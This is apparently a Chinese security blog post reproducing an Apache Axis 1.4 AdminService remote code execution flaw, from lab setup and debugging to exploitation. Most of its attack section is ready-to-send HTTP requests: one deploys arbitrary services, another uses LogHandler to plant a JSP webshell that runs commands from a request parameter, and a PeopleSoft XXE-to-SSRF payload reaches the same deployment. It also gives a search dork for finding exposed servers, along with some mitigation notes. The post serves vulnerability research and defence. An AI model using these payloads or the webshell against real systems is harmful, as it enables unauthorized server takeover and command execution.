复现下载1.4版本:
https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
安装参考:
https://axis.apache.org/axis/java/install.html
把解压出来的axis-bin-1_4/axis-1_4/webapps/axis
放到tomcat的webapps目录下,
默认是没有server-config.wsdd
文件的,需要去这里下载一个:
https://github.com/apache/axis-axis1-java/blob/master/axis-war/src/main/webapp/WEB-INF/server-config.wsdd
然后修改enableRemoteAdmin
值为true。
然后启动tomcat即可。
安装成功之后是这样的:
然而,关键的需要开启远程管理,
在默认的安装的jar包中,这个值为false。除非自己编译的时候将这个值设置为true。
环境变量配置:
export AXIS_HOME="/Users/Xxx/Downloads/axis-bin-1_4/axis-1_4"
export AXIS_LIB="$AXIS_HOME/lib"
export AXISCLASSPATH="$AXIS_LIB/axis.jar:$AXIS_LIB/axis-ant.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/wsdl4j-1.5.1.jar"
参考:
https://www.cnblogs.com/caroar/archive/2011/11/18/2253911.html
https://developer.atlassian.com/server/crowd/axis-1-x-client-stub-generation/
其实就是把lib下的所有jar包放进去了。
JWS (Java Web Service)文件即时部署。
参考:
先是碰到了一个问题,java.lang.RuntimeException: No compiler found in your classpath!
,没找到编译器,然后搜了一下,找到这个:https://stackoverflow.com/questions/36555898/no-compiler-found-in-your-classpath-you-may-need-to-add-tools-jar-axis-1-4
于是将JDK/lib目录下的tools.jar文件复制到lib目录下,即可完成编译。
测试:
将example目录下的某文件腹坠到axis的web目录下,
然后访问这个文件,
访问成功 。
对应的代码是这部分:
/* EchoHeaders.jws */
/**
* class to list headers sent in request as a string array
*/
public class EchoHeaders {
/**
* demo message context stuff
* @return list of request headers
*/
public String[] list() {
HttpServletRequest request = getRequest();
Enumeration headers=request.getHeaderNames();
ArrayList list=new ArrayList();
while (headers.hasMoreElements()) {
String h = (String) headers.nextElement();
String header=h+':'+request.getHeader(h);
list.add(header);
}
String[] results=new String[list.size()];
for(int i=0;i<list.size();i++) {
results[i]=(String) list.get(i);
}
return results;
}
...
}
前言
根据漏洞描述关于Apache AXIS 远程命令执行0day漏洞安全预警通告
根据其修复建议提到的:/services/AdminService
和/services/FreeMarkerService
。开始也是没找到这个跟FreeMarker有什么关系,在axis的lib下搜了没搜到任何与FreeMarker相关的内容。于是就按照/services/AdminService
这个线索来吧。
环境搭建
axis 1.4源码:https://repo1.maven.org/maven2/org/apache/axis/axis/1.4/axis-1.4-sources.jar
axis 1.4部署包:https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
将axis 1.4的部署包解压之后,将webapps/axis目录复制到tomcat的webapps目录下,启动tomcat即可完成axis的部署。然后导入IDEA之后,将其源码指定为上述源码即可。
然后在其部署目录搜索:AdminService
关键字。
看到 WEB-INF/server-config.wsdd
文件有这么一段:
查询axis相关文档,参考WSDD说明文档部分:
https://axis.apache.org/axis/java/reference.html
为了限制某个类可被访问的方法,这里通过allowedMethods
字段来指定允许调用的方法。而其className
字段表示后端实现的类名,这里为:org.apache.axis.utils.Admin
类。由于涉及到具体java文件的搜索,就不方便再在部署目录下搜索了。在axis 1.4源码目录下找到了这个方法:
搭建好环境之后,在AdminService
方法处下断点,但是并没有请求过来,这里应该是需要一个POST带xml数据的请求。
在我不知道如何发这个xml内容的时候,发现Admin类有一个main方法,给出了xml文件的例子:
<deploy>
<handler name=a class=className/>
<chain name=a flow="a,b,c" />
<chain name=a request="a,b,c" pivot="d"
response="e,f,g" />
<service name=a handler=b />
</deploy>
<undeploy>
<handler name=a/>
<chain name=a/>
<service name=a/>
</undeploy>
<list/>
这里想跟一下普通的jws的路径是个什么流程,然后在EchoHeaders.jws的list方法下断点:
GET /axis_1_4_war_exploded/EchoHeaders.jws?method=list
可想而知,都是各种HttpServlet(javax.servlet.http.HttpServlet)的Service()方法
这个包在tomcat-8.0.38/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class
是一些对HTTP协议的实现。
有两处连续的反射调用:
其中java.lang.reflect
在:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/reflect/Method.java
而sun.reflect
在JRE的rt.jar文件中:
/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/DelegatingMethodAccessorImpl.class
看看AdminService如何被调用:
试着去使用POST xml的方式去调用,但是貌似格式不对,参考了一下SOAP消息的格式:
http://www.w3school.com.cn/soap/soap_syntax.asp
然后按照常规的xml POST请求,结果总给我返回错误:
于是我搜到这个:
https://community.cisco.com/t5/other-collaboration-subjects/no-soapaction-header-risport-issues/td-p/852557
说是缺少一个HTTP头,于是我加上了这个HTTP头:
SOAPAction: "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevice"
于是又跟到了org/apache/axis/transport/http/AxisServlet#doPost
,于是在
soapAction = getSoapAction(req);
这一行下端点,看为什么这里必须有这个请求头才能继续下去。
由于这次的xml内容是随便加的,只是符合格式而已,服务器返回了错误,不过这次至少证明请求到达服务器在进行处理了:
RCE PoC
1、部署任意Service(该Service描述可调用指定任意类的任何方法,并对该Service命名):
POST /axis-1.4/services/AdminService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 487
SOAPAction: cqq
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<deployment
xmlns="http://xml.apache.org/axis/wsdd/">
<service name="Malicious2Service" provider="java:RPC">
<parameter name="className" value="org.apache.commons.io.FileUtils"/>
<parameter name="allowedMethods" value="*"/>
</service>
</deployment>
</soapenv:Body>
</soapenv:Envelope>
其中包含org.apache.commons.io.FileUtils
类的jar包可以在这里下载:
http://mirrors.tuna.tsinghua.edu.cn/apache//commons/io/binaries/commons-io-2.6-bin.zip
2、访问该Service,执行该指定类对任意方法(这里作为演示,只调用了getTempDirectoryPath()
)方法:
POST /axis-1.4/services/MaliciousService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 307
SOAPAction: cqq
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:getTempDirectoryPath></api:getTempDirectoryPath>
</soapenv:Body>
</soapenv:Envelope>
第二种RCE
或者通过写入jsp文件,上传webshell:
参考:
https://github.com/KibodWapon/Axis-1.4-RCE-Poc
其实也是参考的:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
这里作者通过查看Axis 的手册,发现不仅可以部署任意Service,还可以部署Handler,作者找到了一个恰当的Gadget:LogHandler
,也就是:
org.apache.axis.handlers.LogHandler
每次进行SOAP调用的时候,就可以部署一个Handler。
LogHandler:顾名思义,它可以将每次的请求和响应记录到一个任意文件中。
POST /axis-1.4/services/AdminService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 885
SOAPAction: cqq
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/Applications/tomcat-8.0.38/webapps/axis-1.4/cqq_shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>
2020/5/13更新
试了相对路径没有成功,
绝对路径成功了:
先配置Service,这里命名为RandomService
,并配置对应的处理流程(requestFlow),指定给LogHandler来处理。然后部署handler,类型为LogHandler,并指定两个参数:
fileName
:/Applications/tomcat-8.0.38/webapps/axis-1.4/cqq_shell.jsp
writeToConsole
:false
。
查看LogHandler的源码,发现请求其实是覆盖了LogHandler的两个私有成员变量。
返回Done processing
表示处理成功,若返回错误,则需检查一下请求的xml语法。
然后在服务端web目录下搜索,发现WEB-INF/server-config.wsdd
文件已经被修改了。
这就是这句代码的作用:
/* org/apache/axis/utils/Admin#processWSDD */
engine.saveConfiguration();
不过这一步只是指定log的路径,并不进行文件写入操作,下一步才将webshell写入log文件。
第二步,向这个RandomSerivce提交一个请求,其中包含webshell。虽然会有其他的内容,只要文件名可控(设置为jsp后缀)但是不影响webshell内容被解析。
POST /axis-1.4/services/RandomSerivce HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 586
SOAPAction: cqq
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
虽然报错了:
但是没关系,webshell内容已经写入到了指定文件中:
访问webshell即可:
enjoy!
测试完之后可以取消部署这个Service和Handler:
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService"/>
<ns1:handler name="RandomLog"/>
</ns1:undeployment>
PeopleSoft里的Axis利用方式
POST /PSIGW/HttpListeningConnector HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE IBRequest [<!ENTITY x SYSTEM "http://localhost:80/pspc/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22YZWXOUuHhildsVmHwIKdZbDCNmRHznXR%22+provider%3D%22java%3ARPC%22%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22org.apache.pluto.portalImpl.Deploy%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3C%2Fns1%3Adeployment"> ]><IBRequest><ExternalOperationName>&x;</ExternalOperationName><OperationType/><From><RequestingNode/><Password/><OrigUser/><OrigNode/><OrigProcess/><OrigTimeStamp/></From><To><FinalDestination/><DestinationNode/><SubChannel/></To><ContentSections><ContentSection><NonRepudiation/><MessageVersion/><Data></Data></ContentSection></ContentSections></IBRequest>
这个是PeopleSoft’s pspc.war包里有的,而不是Axis通用的。
参考:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
缓解措施:因为XXE的利用点是/PSIGW/HttpListeningConnector,而部署Service的利用点是/pspc/services,所以作为临时措施,可以禁用以下路径:
/PSIGW/HttpListeningConnector
/pspc/services
/pspc/services/*
杂
一般这个远程管理选项是不开放的(默认为false),
but the TL;DR is: Axis treats requests coming from localhost with administrative privileges, which allows you to launch a malicious service by making an HTTP GET request which appears to be coming from localhost through an SSRF vulnerability
简单来说就是,Axis会对于来自于localhost的请求给予admin的权限,通过SSRF来伪装成来自localhost,就可以造成RCE的效果
通过google dork(inurl:happyaxis.jsp
),可以搜到大量公网开放的Axis,但是试了一下,发现基本都是不开放远程管理权限的。所以是非常不建议开放这个选项的,有人专门写了一篇文章Why you shouldn’t use enableRemoteAdmin and lock down your Axis server。
至于通过freemarker来进行RCE,需要构造xml内容,并这里面指定freemarker.template.utility.Execute#exec
方法执行的参数列表(是一个List类型,这个不知道用xml该怎么表示。)
另外一个gadget:org.apache.axis.client.ServiceFactory
参考
- Apache Axis1(<=1.4版本) RCE
- Why you shouldn’t use enableRemoteAdmin and lock down your Axis server
- https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
- axis 1.4 AdminService未授权访问 jndi注入利用